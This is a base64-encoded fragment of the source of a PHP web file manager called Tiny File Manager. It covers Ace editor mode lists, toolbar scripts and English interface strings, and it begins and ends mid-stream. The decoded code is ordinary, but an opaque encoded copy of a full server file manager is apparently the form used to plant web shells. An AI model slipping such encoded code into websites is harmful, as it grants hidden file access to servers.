gICAgICAgICAgICAgICAgICAgICAgICAgICAgICJsdWEiOiAiTHVhIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAibHVhcGFnZSI6ICJMdWFQYWdlIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAibHVjZW5lIjogIkx1Y2VuZSIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIm1ha2VmaWxlIjogIk1ha2VmaWxlIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAibWFya2Rvd24iOiAiTWFya2Rvd24iLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJtYXNrIjogIk1hc2siLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJtYXRsYWIiOiAiTUFUTEFCIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAibWF6ZSI6ICJNYXplIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAibWVsIjogIk1FTCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIm1peGFsIjogIk1JWEFMIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAibXVzaGNvZGUiOiAiTVVTSENvZGUiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJteXNxbCI6ICJNeVNRTCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIm5peCI6ICJOaXgiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJuc2lzIjogIk5TSVMiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJvYmplY3RpdmVjIjogIk9iamVjdGl2ZS1DIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAib2NhbWwiOiAiT0NhbWwiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJwYXNjYWwiOiAiUGFzY2FsIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAicGVybCI6ICJQZXJsIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAicGVybDYiOiAiUGVybCA2IiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAicGdzcWwiOiAicGdTUUwiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJwaHBfbGFyYXZlbF9ibGFkZSI6ICJQSFAgKEJsYWRlIFRlbXBsYXRlKSIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInBocCI6ICJQSFAiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJwdXBwZXQiOiAiUHVwcGV0IiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAicGlnIjogIlBpZyIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInBvd2Vyc2hlbGwiOiAiUG93ZXJzaGVsbCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInByYWF0IjogIlByYWF0IiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAicHJvbG9nIjogIlByb2xvZyIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInByb3BlcnRpZXMiOiAiUHJvcGVydGllcyIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInByb3RvYnVmIjogIlByb3RvYnVmIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAicHl0aG9uIjogIlB5dGhvbiIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInIiOiAiUiIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInJhem9yIjogIlJhem9yIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAicmRvYyI6ICJSRG9jIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAicmVkIjogIlJlZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInJodG1sIjogIlJIVE1MIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAicnN0IjogIlJTVCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInJ1YnkiOiAiUnVieSIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInJ1c3QiOiAiUnVzdCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInNhc3MiOiAiU0FTUyIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInNjYWQiOiAiU0NBRCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInNjYWxhIjogIlNjYWxhIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAic2NoZW1lIjogIlNjaGVtZSIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInNjc3MiOiAiU0NTUyIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInNoIjogIlNIIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAic2pzIjogIlNKUyIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInNsaW0iOiAiU2xpbSIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInNtYXJ0eSI6ICJTbWFydHkiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJzbmlwcGV0cyI6ICJzbmlwcGV0cyIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInNveV90ZW1wbGF0ZSI6ICJTb3kgVGVtcGxhdGUiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJzcGFjZSI6ICJTcGFjZSIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInNxbCI6ICJTUUwiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJzcWxzZXJ2ZXIiOiAiU1FMU2VydmVyIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAic3R5bHVzIjogIlN0eWx1cyIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInN2ZyI6ICJTVkciLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJzd2lmdCI6ICJTd2lmdCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRjbCI6ICJUY2wiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ0ZXJyYWZvcm0iOiAiVGVycmFmb3JtIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAidGV4IjogIlRleCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRleHQiOiAiVGV4dCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRleHRpbGUiOiAiVGV4dGlsZSIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRvbWwiOiAiVG9tbCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRzeCI6ICJUU1giLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ0d2lnIjogIlR3aWciLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ0eXBlc2NyaXB0IjogIlR5cGVzY3JpcHQiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ2YWxhIjogIlZhbGEiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ2YnNjcmlwdCI6ICJWQlNjcmlwdCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInZlbG9jaXR5IjogIlZlbG9jaXR5IiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAidmVyaWxvZyI6ICJWZXJpbG9nIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAidmhkbCI6ICJWSERMIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAidmlzdWFsZm9yY2UiOiAiVmlzdWFsZm9yY2UiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ3b2xsb2siOiAiV29sbG9rIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAieG1sIjogIlhNTCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInhxdWVyeSI6ICJYUXVlcnkiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ5YW1sIjogIllBTUwiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJkamFuZ28iOiAiRGphbmdvIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJmb250U2l6ZSI6IHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA4OiA4LAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDEwOiAxMCwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxMTogMTEsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMTI6IDEyLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDEzOiAxMywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxNDogMTQsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMTU6IDE1LAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDE2OiAxNiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxNzogMTcsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMTg6IDE4LAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDIwOiAyMCwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAyMjogMjIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMjQ6IDI0LAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDI2OiAyNiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAzMDogMzAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfTsKICAgICAgICAgICAgICAgICAgICBpZiAoX2RhdGEgJiYgX2RhdGEuYWNlTW9kZSkgewogICAgICAgICAgICAgICAgICAgICAgICAkbW9kZUVsLmh0bWwob3B0aW9uTm9kZSgiYWNlL21vZGUvIiwgX2RhdGEuYWNlTW9kZSkpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBpZiAoX2RhdGEgJiYgX2RhdGEuYWNlVGhlbWUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGxpZ2h0VGhlbWUgPSBvcHRpb25Ob2RlKCJhY2UvdGhlbWUvIiwgX2RhdGEuYWNlVGhlbWUuYnJpZ2h0KSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhcmtUaGVtZSA9IG9wdGlvbk5vZGUoImFjZS90aGVtZS8iLCBfZGF0YS5hY2VUaGVtZS5kYXJrKTsKICAgICAgICAgICAgICAgICAgICAgICAgJHRoZW1lRWwuaHRtbCgiPG9wdGdyb3VwIGxhYmVsPVwiQnJpZ2h0XCI+IiArIGxpZ2h0VGhlbWUgKyAiPC9vcHRncm91cD48b3B0Z3JvdXAgbGFiZWw9XCJEYXJrXCI+IiArIGRhcmtUaGVtZSArICI8L29wdGdyb3VwPiIpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBpZiAoX2RhdGEgJiYgX2RhdGEuZm9udFNpemUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGZvbnRTaXplRWwuaHRtbChvcHRpb25Ob2RlKCIiLCBfZGF0YS5mb250U2l6ZSkpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkbW9kZUVsLnZhbChlZGl0b3IuZ2V0U2Vzc2lvbigpLiRtb2RlSWQpOwogICAgICAgICAgICAgICAgICAgICR0aGVtZUVsLnZhbChlZGl0b3IuZ2V0VGhlbWUoKSk7CiAgICAgICAgICAgICAgICAgICAgJChmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICAgICAgICAgLy9zZXQgZGVmYXVsdCBmb250IHNpemUgaW4gZHJvcCBkb3duCiAgICAgICAgICAgICAgICAgICAgICAgICRmb250U2l6ZUVsLnZhbCgxMikuY2hhbmdlKCk7CiAgICAgICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgJChmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICAgICByZW5kZXJUaGVtZU1vZGUoKTsKICAgICAgICAgICAgICAgICAgICAkKCIuanMtYWNlLXRvb2xiYXIiKS5vbigiY2xpY2siLCAnYnV0dG9uJywgZnVuY3Rpb24oZSkgewogICAgICAgICAgICAgICAgICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGxldCBjbWRWYWx1ZSA9ICQodGhpcykuYXR0cigiZGF0YS1jbWQiKSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVkaXRvck9wdGlvbiA9ICQodGhpcykuYXR0cigiZGF0YS1vcHRpb24iKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGNtZFZhbHVlICYmIGNtZFZhbHVlICE9ICJub25lIikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgYWNlX2NvbW1lbmQoY21kVmFsdWUpOwogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKGVkaXRvck9wdGlvbikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGVkaXRvck9wdGlvbiA9PSAiZnVsbHNjcmVlbiIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAodm9pZCAwICE9PSBkb2N1bWVudC5mdWxsU2NyZWVuRWxlbWVudCAmJiBudWxsID09PSBkb2N1bWVudC5mdWxsU2NyZWVuRWxlbWVudCB8fCB2b2lkIDAgIT09IGRvY3VtZW50Lm1zRnVsbHNjcmVlbkVsZW1lbnQgJiYgbnVsbCA9PT0gZG9jdW1lbnQubXNGdWxsc2NyZWVuRWxlbWVudCB8fCB2b2lkIDAgIT09IGRvY3VtZW50Lm1vekZ1bGxTY3JlZW4gJiYgIWRvY3VtZW50Lm1vekZ1bGxTY3JlZW4gfHwgdm9pZCAwICE9PSBkb2N1bWVudC53ZWJraXRJc0Z1bGxTY3JlZW4gJiYgIWRvY3VtZW50LndlYmtpdElzRnVsbFNjcmVlbikgJiYKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAoZWRpdG9yLmNvbnRhaW5lci5yZXF1ZXN0RnVsbFNjcmVlbiA/IGVkaXRvci5jb250YWluZXIucmVxdWVzdEZ1bGxTY3JlZW4oKSA6IGVkaXRvci5jb250YWluZXIubW96UmVxdWVzdEZ1bGxTY3JlZW4gPyBlZGl0b3IuY29udGFpbmVyLm1velJlcXVlc3RGdWxsU2NyZWVuKCkgOiBlZGl0b3IuY29udGFpbmVyLndlYmtpdFJlcXVlc3RGdWxsU2NyZWVuID8gZWRpdG9yLmNvbnRhaW5lci53ZWJraXRSZXF1ZXN0RnVsbFNjcmVlbihFbGVtZW50LkFMTE9XX0tFWUJPQVJEX0lOUFVUKSA6IGVkaXRvci5jb250YWluZXIubXNSZXF1ZXN0RnVsbHNjcmVlbiAmJiBlZGl0b3IuY29udGFpbmVyLm1zUmVxdWVzdEZ1bGxzY3JlZW4oKSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKGVkaXRvck9wdGlvbiA9PSAid3JhcCIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsZXQgd3JhcFN0YXR1cyA9IChlZGl0b3IuZ2V0U2Vzc2lvbigpLmdldFVzZVdyYXBNb2RlKCkpID8gZmFsc2UgOiB0cnVlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVkaXRvci5nZXRTZXNzaW9uKCkuc2V0VXNlV3JhcE1vZGUod3JhcFN0YXR1cyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9KTsKCiAgICAgICAgICAgICAgICAgICAgJCgic2VsZWN0I2pzLWFjZS1tb2RlLCBzZWxlY3QjanMtYWNlLXRoZW1lLCBzZWxlY3QjanMtYWNlLWZvbnRTaXplIikub24oImNoYW5nZSIsIGZ1bmN0aW9uKGUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpOwogICAgICAgICAgICAgICAgICAgICAgICBsZXQgc2VsZWN0ZWRWYWx1ZSA9ICQodGhpcykudmFsKCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzZWxlY3Rpb25UeXBlID0gJCh0aGlzKS5hdHRyKCJkYXRhLXR5cGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHNlbGVjdGVkVmFsdWUgJiYgc2VsZWN0aW9uVHlwZSA9PSAibW9kZSIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVkaXRvci5nZXRTZXNzaW9uKCkuc2V0TW9kZShzZWxlY3RlZFZhbHVlKTsKICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIGlmIChzZWxlY3RlZFZhbHVlICYmIHNlbGVjdGlvblR5cGUgPT0gInRoZW1lIikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWRpdG9yLnNldFRoZW1lKHNlbGVjdGVkVmFsdWUpOwogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKHNlbGVjdGVkVmFsdWUgJiYgc2VsZWN0aW9uVHlwZSA9PSAiZm9udFNpemUiKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlZGl0b3Iuc2V0Rm9udFNpemUocGFyc2VJbnQoc2VsZWN0ZWRWYWx1ZSkpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgICAgICB9KTsKICAgICAgICAgICAgPC9zY3JpcHQ+CiAgICAgICAgPD9waHAgZW5kaWY7ID8+CiAgICAgICAgPGRpdiBpZD0ic25hY2tiYXIiPjwvZGl2PgogICAgPC9ib2R5PgoKICAgIDwvaHRtbD4KPD9waHAKICAgIH0KCiAgICAvKioKICAgICAqIExhbmd1YWdlIFRyYW5zbGF0aW9uIFN5c3RlbQogICAgICogQHBhcmFtIHN0cmluZyAkdHh0CiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBmdW5jdGlvbiBsbmcoJHR4dCkKICAgIHsKICAgICAgICBnbG9iYWwgJGxhbmc7CgogICAgICAgIC8vIEVuZ2xpc2ggTGFuZ3VhZ2UKICAgICAgICAkdHJbJ2VuJ11bJ0FwcE5hbWUnXSAgICAgICAgPSAnVGlueSBGaWxlIE1hbmFnZXInOwogICAgICAgICR0clsnZW4nXVsnQXBwVGl0bGUnXSAgICAgICA9ICdGaWxlIE1hbmFnZXInOwogICAgICAgICR0clsnZW4nXVsnTG9naW4nXSAgICAgICAgICA9ICdTaWduIGluJzsKICAgICAgICAkdHJbJ2VuJ11bJ1VzZXJuYW1lJ10gICAgICAgPSAnVXNlcm5hbWUnOwogICAgICAgICR0clsnZW4nXVsnUGFzc3dvcmQnXSAgICAgICA9ICdQYXNzd29yZCc7CiAgICAgICAgJHRyWydlbiddWydMb2dvdXQnXSAgICAgICAgID0gJ1NpZ24gT3V0JzsKICAgICAgICAkdHJbJ2VuJ11bJ01vdmUnXSAgICAgICAgICAgPSAnTW92ZSc7CiAgICAgICAgJHRyWydlbiddWydDb3B5J10gICAgICAgICAgID0gJ0NvcHknOwogICAgICAgICR0clsnZW4nXVsnU2F2ZSddICAgICAgICAgICA9ICdTYXZlJzsKICAgICAgICAkdHJbJ2VuJ11bJ1NlbGVjdEFsbCddICAgICAgPSAnU2VsZWN0IGFsbCc7CiAgICAgICAgJHRyWydlbiddWydVblNlbGVjdEFsbCddICAgID0gJ1Vuc2VsZWN0IGFsbCc7CiAgICAgICAgJHRyWydlbiddWydGaWxlJ10gICAgICAgICAgID0gJ0ZpbGUnOwogICAgICAgICR0clsnZW4nXVsnQmFjayddICAgICAgICAgICA9ICdCYWNrJzsKICAgICAgICAkdHJbJ2VuJ11bJ1NpemUnXSAgICAgICAgICAgPSAnU2l6ZSc7CiAgICAgICAgJHRyWydlbiddWydQZXJtcyddICAgICAgICAgID0gJ1Blcm1zJzsKICAgICAgICAkdHJbJ2VuJ11bJ01vZGlmaWVkJ10gICAgICAgPSAnTW9kaWZpZWQnOwogICAgICAgICR0clsnZW4nXVsnT3duZXInXSAgICAgICAgICA9ICdPd25lcic7CiAgICAgICAgJHRyWydlbiddWydTZWFyY2gnXSAgICAgICAgID0gJ1NlYXJjaCc7CiAgICAgICAgJHRyWydlbiddWydOZXdJdGVtJ10gICAgICAgID0gJ05ldyBJdGVtJzsKICAgICAgICAkdHJbJ2VuJ11bJ0ZvbGRlciddICAgICAgICAgPSAnRm9sZGVyJzsKICAgICAgICAkdHJbJ2VuJ11bJ0RlbGV0ZSddICAgICAgICAgPSAnRGVsZXRlJzsKICAgICAgICAkdHJbJ2VuJ11bJ1JlbmFtZSddICAgICAgICAgPSAnUmVuYW1lJzsKICAgICAgICAkdHJbJ2VuJ11bJ0NvcHlUbyddICAgICAgICAgPSAnQ29weSB0byc7CiAgICAgICAgJHRyWydlbiddWydEaXJlY3RMaW5rJ10gICAgID0gJ0RpcmVjdCBsaW5rJzsKICAgICAgICAkdHJbJ2VuJ11bJ1VwbG9hZGluZ0ZpbGVzJ10gPSAnVXBsb2FkIEZpbGVzJzsKICAgICAgICAkdHJbJ2VuJ11bJ0NoYW5nZVBlcm1pc3Npb25zJ10gID0gJ0NoYW5nZSBQZXJtaXNzaW9ucyc7CiAgICAgICAgJHRyWydlbiddWydDb3B5aW5nJ10gICAgICAgID0gJ0NvcHlpbmcnOwogICAgICAgICR0clsnZW4nXVsnQ3JlYXRlTmV3SXRlbSddICA9ICdDcmVhdGUgTmV3IEl0ZW0nOwogICAgICAgICR0clsnZW4nXVsnTmFtZSddICAgICAgICAgICA9ICdOYW1lJzsKICAgICAgICAkdHJbJ2VuJ11bJ0FkdmFuY2VkRWRpdG9yJ10gPSAnQWR2YW5jZWQgRWRpdG9yJzsKICAgICAgICAkdHJbJ2VuJ11bJ0FjdGlvbnMnXSAgICAgICAgPSAnQWN0aW9ucyc7CiAgICAgICAgJHRyWydlbiddWydGb2xkZXIgaXMgZW1wdHknXSA9ICdGb2xkZXIgaXMgZW1wdHknOwogICAgICAgICR0clsnZW4nXVsnVXBsb2FkJ10gICAgICAgICA9ICdVcGxvYWQnOwogICAgICAgICR0clsnZW4nXVsnQ2FuY2VsJ10gICAgICAgICA9ICdDYW5jZWwnOwogICAgICAgICR0clsnZW4nXVsnSW52ZXJ0U2VsZWN0aW9uJ10gPSAnSW52ZXJ0IFNlbGVjdGlvbic7CiAgICAgICAgJHRyWydlbiddWydEZXN0aW5hdGlvbkZvbGRlciddICA9ICdEZXN0aW5hdGlvbiBGb2xkZXInOwogICAgICAgICR0clsnZW4nXVsnSXRlbVR5cGUnXSAgICAgICA9ICdJdGVtIFR5cGUnOwogICAgICAgICR0clsnZW4nXVsnSXRlbU5hbWUnXSAgICAgICA9ICdJdGVtIE5hbWUnOwogICAgICAgICR0clsnZW4nXVsnQ3JlYXRlTm93J10gICAgICA9ICdDcmVhdGUgTm93JzsKICAgICAgICAkdHJbJ2VuJ11bJ0Rvd25sb2FkJ10gICAgICAgPSAnRG93bmxvYWQnOwogICAgICAgICR0clsnZW4nXVsnT3BlbiddICAgICAgICAgICA9ICdPcGVuJzsKICAgICAgICAkdHJbJ2VuJ11bJ1VuWmlwJ10gICAgICAgICAgPSAnVW5aaXAnOwogICAgICAgICR0clsnZW4nXVsnVW5aaXBUb0ZvbGRlciddICA9ICdVblppcCB0byBmb2xkZXInOwogICAgICAgICR0clsnZW4nXVsnRWRpdCddICAgICAgICAgICA9ICdFZGl0JzsKICAgICAgICAkdHJbJ2VuJ11bJ05vcm1hbEVkaXRvciddICAgPSAnTm9ybWFsIEVkaXRvcic7CiAgICAgICAgJHRyWydlbiddWydCYWNrVXAnXSAgICAgICAgID0gJ0JhY2sgVXAnOwogICAgICAgICR0clsnZW4nXVsnU291cmNlRm9sZGVyJ10gICA9ICdTb3VyY2UgRm9sZGVyJzsKICAgICAgICAkdHJbJ2VuJ11bJ0ZpbGVzJ10gICAgICAgICAgPSAnRmlsZXMnOwogICAgICAgICR0clsnZW4nXVsnTW92ZSddICAgICAgICAgICA9ICdNb3ZlJzsKICAgICAgICAkdHJbJ2VuJ11bJ0NoYW5nZSddICAgICAgICAgPSAnQ2hhbmdlJzsKICAgICAgICAkdHJbJ2VuJ11bJ1NldHRpbmdzJ10gICAgICAgPSAnU2V0dGluZ3MnOwogICAgICAgICR0clsnZW4nXVsnTGFuZ3VhZ2UnXSAgICAgICA9ICdMYW5ndWFnZSc7CiAgICAgICAgJHRyWydlbiddWydFcnJvclJlcG9ydGluZyddID0gJ0Vycm9yIFJlcG9ydGluZyc7CiAgICAgICAgJHRyWydlbiddWydTaG93SGlkZGVuRmlsZXMnXSA9ICdTaG93IEhpZGRlbiBGaWxlcyc7CiAgICAgICAgJHRyWydlbiddWydIZWxwJ10gICAgICAgICAgID0gJ0hlbHAnOwogICAgICAgICR0clsnZW4nXVsnQ3JlYXRlZCddICAgICAgICA9ICdDcmVhdGVkJzsKICAgICAgICAkdHJbJ2VuJ11bJ0hlbHAgRG9jdW1lbnRzJ10gPSAnSGVscCBEb2N1bWVudHMnOwogICAgICAgICR0clsnZW4nXVsnUmVwb3J0IElzc3VlJ10gICA9ICdSZXBvcnQgSXNzdWUnOwogICAgICAgICR0clsnZW4nXVsnR2VuZXJhdGUnXSAgICAgICA9ICdHZW5lcmF0ZSc7CiAgICAgICAgJHRyWydlbiddWydGdWxsU2l6ZSddICAgICAgID0gJ0Z1bGwgU2l6ZSc7CiAgICAgICAgJHRyWydlbiddWydIaWRlQ29sdW1ucyddICAgID0gJ0hpZGUgUGVybXMvT3duZXIgY29sdW1ucyc7CiAgICAgICAgJHRyWydlbiddWydZb3UgYXJlIGxvZ2dlZCBpbiddID0gJ1lvdSBhcmUgbG9nZ2VkIGluJzsKICAgICAgICAkdHJbJ2VuJ11bJ05vdGhpbmcgc2VsZWN0ZWQnXSAgPSAnTm90aGluZyBzZWxlY3RlZCc7CiAgICAgICAgJHRyWydlbiddWydQYXRocyBtdXN0IGJlIG5vdCBlcXVhbCddICAgID0gJ1BhdGhzIG11c3QgYmUgbm90IGVxdWFsJzsKICAgICAgICAkdHJbJ2VuJ11bJ1JlbmFtZWQgZnJvbSddICAgICAgID0gJ1JlbmFtZWQgZnJvbSc7CiAgICAgICAgJHRyWydlbiddWydBcmNoaXZlIG5vdCB1bnBhY2tlZCddID0gJ0FyY2hpdmUgbm90IHVucGFja2VkJzsKICAgICAgICAkdHJbJ2VuJ11bJ0RlbGV0ZWQnXSAgICAgICAgICAgID0gJ0RlbGV0ZWQnOwogICAgICAgICR0clsnZW4nXVsnQXJjaGl2ZSBub3QgY3JlYXRlZCddID0gJ0FyY2hpdmUgbm90IGNyZWF0ZWQnOwogICAgICAgICR0clsnZW4nXVsnQ29waWVkIGZyb20nXSAgICAgICAgPSAnQ29waWVkIGZyb20nOwogICAgICAgICR0clsnZW4nXVsnUGVybWlzc2lvbnMgY2hhbmdlZCddID0gJ1Blcm1pc3Npb25zIGNoYW5nZWQnOwogICAgICAgICR0clsnZW4nXVsndG8nXSAgICAgICAgICAgICAgICAgPSAndG8nOwogICAgICAgICR0clsnZW4nXVsnU2F2ZWQgU3VjY2Vzc2Z1bGx5J10gPSAnU2F2ZWQgU3VjY2Vzc2Z1bGx5JzsKICAgICAgICAkdHJbJ2VuJ11bJ25vdCBmb3VuZCEnXSAgICAgICAgID0gJ25vdCBmb3VuZCEnOwogICAgICAgICR0clsnZW4nXVsnRmlsZSBTYXZlZCBTdWNjZXNzZnVsbHknXSAgICA9ICdGaWxlIFNhdmVkIFN1Y2Nlc3NmdWxseSc7CiAgICAgICAgJHRyWydlbiddWydBcmNoaXZlJ10gICAgICAgICAgICA9ICdBcmNoaXZlJzsKICAgICAgICAkdHJbJ2VuJ11bJ1Blcm1pc3Npb25zIG5vdCBjaGFuZ2VkJ10gICAgPSAnUGVybWlzc2lvbnMgbm90IGNoYW5nZWQnOwogICAgICAgICR0clsnZW4nXVsnU2VsZWN0IGZvbGRlciddICAgICAgPSAnU2VsZWN0IGZvbGRlcic7CiAgICAgICAgJHRyWydlbiddWydTb3VyY2UgcGF0aCBub3QgZGVmaW5lZCddICAgID0gJ1NvdXJjZSBwYXRoIG5vdCBkZWZpbmVkJzsKICAgICAgICAkdHJbJ2VuJ11bJ2FscmVhZHkgZXhpc3RzJ10gICAgID0gJ2FscmVhZHkgZXhpc3RzJzsKICAgICAgICAkdHJbJ2VuJ11bJ0Vycm9yIHdoaWxlIG1vdmluZyBmcm9tJ10gICAgPSAnRXJyb3Igd2hpbGUgbW92aW5nIGZyb20nOwogICAgICAgICR0clsnZW4nXVsnQ3JlYXRlIGFyY2hpdmU/J10gICAgPSAnQ3JlYXRlIGFyY2hpdmU/JzsKICAgICAgICAkdHJbJ2VuJ11bJ0ludmFsaWQgZmlsZSBvciBmb2xkZXIgbmFtZSddICAgID0gJ0ludmFsaWQgZmlsZSBvciBmb2xkZXIgbmFtZSc7CiAgICAgICAgJHRyWydlbiddWydBcmNoaXZlIHVucGFja2VkJ10gICA9ICdBcmNoaXZlIHVucGFja2VkJzsKICAgICAgICAkdHJbJ2VuJ11bJ0ZpbGUgZXh0ZW5zaW9uIGlzIG5vdCBhbGxvd2VkJ10gID0gJ0ZpbGUgZXh0ZW5zaW9uIGlzIG5vdCBhbGxvd2VkJzsKICAg